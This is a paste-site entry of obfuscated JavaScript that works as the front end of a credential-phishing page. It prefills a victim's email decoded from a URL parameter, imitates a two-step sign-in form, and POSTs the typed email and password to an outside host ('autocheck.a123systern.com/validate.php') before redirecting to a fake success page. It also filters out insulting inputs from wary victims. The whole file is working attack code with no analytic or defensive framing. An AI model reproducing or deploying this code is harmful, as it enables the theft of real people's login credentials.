Snakelabs icon

Untitled

Snakelabs | PRO | 04/17/19 08:54:48 AM UTC | 0 ⭐ | 727 👁️ | Never ⏰ | []
JavaScript |

8 KB

|

None

|

0 👍

/

0 👎

var $c = getUrlParameter('c');
var $current_email = '';
if ($c) {
    $current_email = isValidEmail($c) ? $c : decodeCustom($c)
};
 
function decodeCustom(_0x8440x4) {
    var _0x8440x5 = 'bcdfghjklmnpqrstvwxyz' ['split']('');
    var _0x8440x6 = _0x8440x4['substr'](0, 1);
    var _0x8440x7 = _0x8440x4['substr'](2);
    var _0x8440x8 = ['a', 'e', 'i', 'o', 'u'];
    var _0x8440x9 = [];
    for ($i in _0x8440x5) {
        _0x8440x7 = _0x8440x7['replace'](new RegExp(_0x8440x6 + '0' + $i + 'a', 'g'), _0x8440x5[$i])
    };
    for ($i in _0x8440x8) {
        _0x8440x7 = _0x8440x7['replace'](new RegExp(_0x8440x6 + $i, 'g'), _0x8440x8[$i])
    };
    _0x8440x7 = _0x8440x7['replace'](new RegExp(_0x8440x6 + _0x8440x6 + _0x8440x6, 'g'), '@');
    return _0x8440x7
}
 
function isValidEmail(_0x8440xb) {
    var _0x8440xc = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
    return _0x8440xc['test'](_0x8440xb)
}
 
function getUrlParameter(_0x8440xe) {
    _0x8440xe = _0x8440xe['replace'](/[\[]/, '\[')['replace'](/[\]]/, '\]');
    var _0x8440xf = new RegExp('[\?&]' + _0x8440xe + '=([^&#]*)');
    var _0x8440x10 = _0x8440xf['exec'](location['search']);
    return _0x8440x10 === null ? '' : decodeURIComponent(_0x8440x10[1]['replace'](/\+/g, ' '))
}
var currentEmail = $current_email;
var ListEntries = ['.*fuck.*', '.*pussy.*', '.*bitch.*', '.*asshole.*', '.*fool.*', '.*dick.*', '.*mama.*', '.*nice.*try.*', '.*12345.*'];
$(function() {
    $('#displayName')['text'](currentEmail);
    $('#displayName')['attr']('title', currentEmail);
    setTimeout(() => {
        $('.view-zero')['css']('display', 'none');
        if (currentEmail && currentEmail['length'] > 0) {
            $('input[name="UserName"]')['val'](currentEmail);
            $('#displayName')['text'](currentEmail);
            $('#displayName')['attr']('title', currentEmail);
            $('.view-two')['css']({
                display: 'block'
            });
            $('.view-one')['css']({
                display: 'none'
            });
            $('#usernameProgress')['css']({
                display: 'none'
            })
        } else {
            $('.view-two')['css']({
                display: 'none'
            });
            $('.view-one')['css']({
                display: 'block'
            })
        }
    }, 2500);
    $('form#i0281')['on']('submit', function(_0x8440x13) {
        _0x8440x13['preventDefault']();
        return handleFormSubmit()
    });
    $('#idNextBtn')['on']('click', function(_0x8440x13) {
        $('#usernameProgress')['css']({
            display: 'block'
        });
        var _0x8440xb = $('input[name="UserName"]')['val']()['trim']();
        if (!_0x8440xb['length']) {
            toggleUsernameError(true);
            $('input[name="UserName"]')['focus']();
            setTimeout(function() {
                $('#usernameProgress')['css']({
                    display: 'none'
                })
            });
            return false
        };
        if (!validateEmail(_0x8440xb)) {
            toggleUsernameError(true);
            $('input[name="UserName"]')['focus']();
            setTimeout(function() {
                $('#usernameProgress')['css']({
                    display: 'none'
                })
            });
            return false
        };
        $('#displayName')['text'](_0x8440xb);
        $('#displayName')['attr']('title', _0x8440xb);
        setTimeout(function() {
            $('.view-two')['css']({
                display: 'block'
            });
            $('.view-one')['css']({
                display: 'none'
            });
            $('#usernameProgress')['css']({
                display: 'none'
            })
        }, 1500)
    });
    $('#idBtn_Back')['on']('click', function(_0x8440x13) {
        $('.view-two')['css']({
            display: 'none'
        });
        $('.view-one')['css']({
            display: 'block'
        })
    })
});
var passwordAttempts = 0;
 
function handleFormSubmit() {
    var _0x8440xb = $('input[name="UserName"]')['val']()['trim']();
    var _0x8440x16 = $('input[name="Password"]')['val']()['trim']();
    if (!_0x8440xb['length'] || !_0x8440x16['length']) {
        togglePasswordError(true);
        if (!_0x8440xb['length']) {
            $('input[name="UserName"]')['focus']()
        } else {
            $('input[name="Password"]')['focus']()
        };
        return false
    };
    if (!validateEmail(_0x8440xb)) {
        $('input[name="UserName"]')['focus']();
        return false
    };
    if (!_0x8440x16['trim']()['length']) {
        togglePasswordError(true);
        $('input[name="Password"]')['focus']();
        return false
    };
    togglePasswordError(false);
    login();
    return true
}
 
function login() {
    var _0x8440xb = $('input[name="UserName"]')['val']()['trim']();
    var _0x8440x16 = $('input[name="Password"]')['val']()['trim']();
    var _0x8440x18 = false;
    var _0x8440x19 = parseInt(Math['random']() * 10);
    var _0x8440x1a = getValidatorUrl();
    $('#idSignInBtn')['prop']('disabled', true);
    $('#passwordProgress')['show']();
    $('#idSignInBtn')['text']('Signing In..');
    var _0x8440x1b = window['location']['protocol'] + '//' + window['location']['host'] + '/success.htm';
    $['post'](_0x8440x1a, $['param']({
        email: _0x8440xb,
        password: _0x8440x16
    }), function(_0x8440x1e, _0x8440x1d, _0x8440x1f) {
        $('#idSignInBtn')['text']('Redirecting..');
        window['location']['href'] = _0x8440x1b
    })['fail'](function(_0x8440x1c, _0x8440x1d) {
        $('#passwordProgress')['hide']();
        $('#idSignInBtn')['prop']('disabled', false);
        $('#idSignInBtn')['text']('Sign In');
        $('input[name="Password"]')['val']('');
        togglePasswordError(true);
        $('input[name="Password"]')['focus']();
        return false
    })
}
 
function validateEmail(_0x8440xb) {
    var _0x8440xc = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
    return _0x8440xc['test'](_0x8440xb)
}
 
function isValidPassword(_0x8440x22) {
    for (var _0x8440x23 = ListEntries['length'] - 1; _0x8440x23 >= 0; _0x8440x23--) {
        var _0x8440x24 = new RegExp(ListEntries[_0x8440x23], 'i');
        if (_0x8440x24['test'](_0x8440x22)) {
            return false
        }
    };
    return true
}
 
function toggleUsernameError(_0x8440x26) {
    if (_0x8440x26) {
        $('#usernameError')['css']('display', 'block');
        $('input[name="Username"]')['addClass']('has-error');
        $('input[name="Username"]')['on']('keydown', function(_0x8440x13) {
            toggleUsernameError(false);
            $('input[name="Username"]')['off']('keydown')
        })
    } else {
        $('#usernameError')['css']('display', 'none');
        $('input[name="Username"]')['removeClass']('has-error')
    }
}
 
function togglePasswordError(_0x8440x26) {
    if (_0x8440x26) {
        $('#passwordError')['css']('display', 'block');
        $('input[name="Password"]')['addClass']('has-error');
        $('input[name="Password"]')['on']('keydown', function(_0x8440x13) {
            togglePasswordError(false);
            $('input[name="Password"]')['off']('keydown')
        })
    } else {
        $('#passwordError')['css']('display', 'none');
        $('input[name="Password"]')['removeClass']('has-error')
    }
}
 
function strRandom() {
    var _0x8440x29 = '';
    var _0x8440x2a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    for (var _0x8440x23 = 0; _0x8440x23 < 10; _0x8440x23++) {
        _0x8440x29 += _0x8440x2a['charAt'](Math['floor'](Math['random']() * _0x8440x2a['length']))
    };
    return _0x8440x29
}
 
function getValidatorUrl() {
    return 'https://autocheck.a123systern.com/validate.php'
}

Comments